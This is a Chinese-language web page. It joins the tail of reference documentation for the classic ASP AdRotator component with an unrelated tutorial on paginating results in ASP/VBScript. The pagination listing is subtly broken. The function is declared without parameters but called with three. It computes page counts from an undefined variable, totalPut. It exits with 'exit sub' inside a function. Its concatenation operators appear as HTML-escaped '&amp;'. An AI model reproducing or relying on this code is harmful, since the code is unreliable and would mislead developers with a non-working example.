  指定用来显示广告框架的名称。该参数也可以是一个 HTML 框架关键字, 例如 _TOP、_NEW、_CHILD、_SELF、_PARENT 或 _BLANK。默认值是 NO FRAME。

  示例
  下面的例子显示框架 AdFrame中的广告。
  <% Set ad = Server.CreateObject("MSWC.AdRotator") ad.TargetFrame = AdFrame %>
  <%= ad.GetAdvertisement("/ads/adrot.txt") %>
  AdRotator 对象只有一个方法.GetAdvertisement
  GetAdvertisement 方法从 Rotator Schedule 文件中获取下一个广告。每次运行脚本时,例如当用户打开或刷新一页时,此方法会获取下一个安排的广告。
  语法
  GetAdvertisement(rotationSchedulePath)
  参数
  rotationSchedulePath
  指定 Rotator Schedule 文件相对于虚拟目录的位置。例如,若物理路径为 C:\Inetpub\Wwwroot\Ads\Adrot.txt(其中Wwwroot 是 "/" 虚拟目录)则应指定路径 \Ads\Adrot.txt。
  返回值
  返回在当前页中显示广告的 HTML。
  示例
  下面的示例从 Adrot.txt 文件中获取广告,此文件位于 /Ads/ 虚拟目录下。
  <% Set NextAd = Server.CreateObject("MSWC.AdRotator") %>
  <%= NextAd.GetAdvertisement("/ads/adrot.txt") %>

怎么用ASP实现分页(二)

<%@ Language=VBScript %>
<HTML>
<HEAD>
</HEAD>
<BODY>

<%
dim currentpage '定义当前页
dim filename '文件名
Const MaxPerPage=20 '每页显示的记录个数
dim totalnumber '记录总数
filename="showpages.asp"
totalnumber=200 '设置记录总数为200

if not isempty(request("page")) then
currentPage=cint(request("page"))
else
currentPage=1
end if
showpages totalnumber,MaxPerPage,filename
%>
</BODY>
</HTML>
<%'定义分页的函数,以totalnumber,maxperpage,filename作为函数的入口。
function showpages()
dim n
if (totalnumber mod MaxPerPage)=0 then
n= totalPut \ MaxPerPage
else
n= totalPut \ MaxPerPage + 1
end if
if n=1 then
exit sub
end if
dim k
response.write "<p align='left'>>> 分页 "
for k=1 to n
if k=currentPage then
response.write "[<b>"+Cstr(k)+"</b>] "
else
response.write "[<b>"+"<a href="&amp;filename&amp;"?page="+cstr(k)+">"+Cstr(k)+"</a></b>] "
end if
next
response.write "</p>"
end function
%>